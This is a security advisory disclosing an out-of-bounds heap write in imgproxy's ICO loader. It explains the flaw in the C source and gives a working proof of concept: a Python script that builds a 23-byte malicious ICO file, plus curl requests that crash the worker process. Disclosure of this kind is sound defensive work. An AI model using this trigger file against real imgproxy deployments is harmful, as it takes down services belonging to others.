GHSA-494m-4556-wf5p

Summary

Out-of-bounds heap write in imgproxy's ICO loader (vips/icoload.c): when the ICO entry's image data buffer is small, the loader's BMP-header-reconstruction writes land past the allocation, corrupting the size field of the following heap chunk. The worker then aborts deterministically (glibc munmap_chunk(): invalid pointer → SIGABRT → Go panic, exit code 2).

Details

In vips_foreign_load_ico_header in vips/icoload.c, after the ICO entry's image data is read into a heap buffer of data_size + 14 bytes, the loader reconstructs a BMP file header in front of it using fields read from the ICO's internal BITMAPINFOHEADER:

uint32_t num_colors = GUINT32_FROM_LE(*(uint32_t *) (actual_data + 32));  // unvalidated
uint16_t bpp        = GUINT16_FROM_LE(*(uint16_t *) (actual_data + 14));  // unvalidated

if ((num_colors == 0) && (bpp <= 8))
  pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * (1 << bpp);
else
  pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * num_colors;

int32_t height = GINT32_FROM_LE(*(int32_t *) (actual_data + 8));  // readable past the buffer
height = height / 2;

With a crafted entry declaring a tiny data_size (e.g. 1 byte), all of these reads (offsets +8, +14, +32) go past the allocation, and the reconstructed-header writes land past the end of the buffer — specifically a 32-bit height/2-derived value at alloc+22..+25, overwriting the LSBs of the size field of the physically following heap chunk. The corrupted size is always original_size >> 1 and, in cgo thread arenas, the NON_MAIN_ARENA bit lands in the IS_MMAPPED position of the corrupted word such that the next free() of the victim deterministically takes glibc's munmap_chunk() abort path, killing the worker. Depending on heap state, the worker returns 500 for the triggering request and aborts on the corrupted chunk's free; in observed production geometry it dies on the same request (exit code 2).

PoC

# make_ico_oob.py — generates the exact 23-byte OOB-write trigger.
# Byte-identical to the checksummed, production-verified file:
#   ico-oob.ico  sha256 075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1
import struct, hashlib

hdr = struct.pack('<HHH', 0, 1, 1)  # reserved, type=ICO, count=1
# 16x16, 0 colors, 0 reserved, 1 plane, 32 bpp, data_size=1, data_offset=0x16.
# The tiny data_size (1) makes the loader's BMPINFOHEADER field reads
# (data+8/+14/+32) and header-reconstruction writes go past the 1+14=15-byte
# allocation.
entry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 1, 0x16)
data = b'\xAA'  # the single declared image byte
blob = hdr + entry + data
assert hashlib.sha256(blob).hexdigest() == \
    '075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1'
open('ico-oob.ico', 'wb').write(blob)
print(f"ico-oob.ico: {len(blob)} bytes [VERIFIED]")

# imgproxy v4.0.15 with local file sources enabled:
#   IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy
curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-oob.ico@png"
# → request fails at transport level (connection reset / empty reply) or
#   HTTP 500; worker dies: munmap_chunk(): invalid pointer → SIGABRT →
#   Go panic dump → exit code 2. One request, one dead worker.

curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/normal.ico@png"
# → HTTP 200, valid thumbnail (control)

Impact

Out-of-bounds write; demonstrated impact is denial of service (worker crash per crafted request). Any imgproxy deployment from the 3.3.x ICO-support series through v4.0.15 (latest at time of report) that processes attacker-supplied images.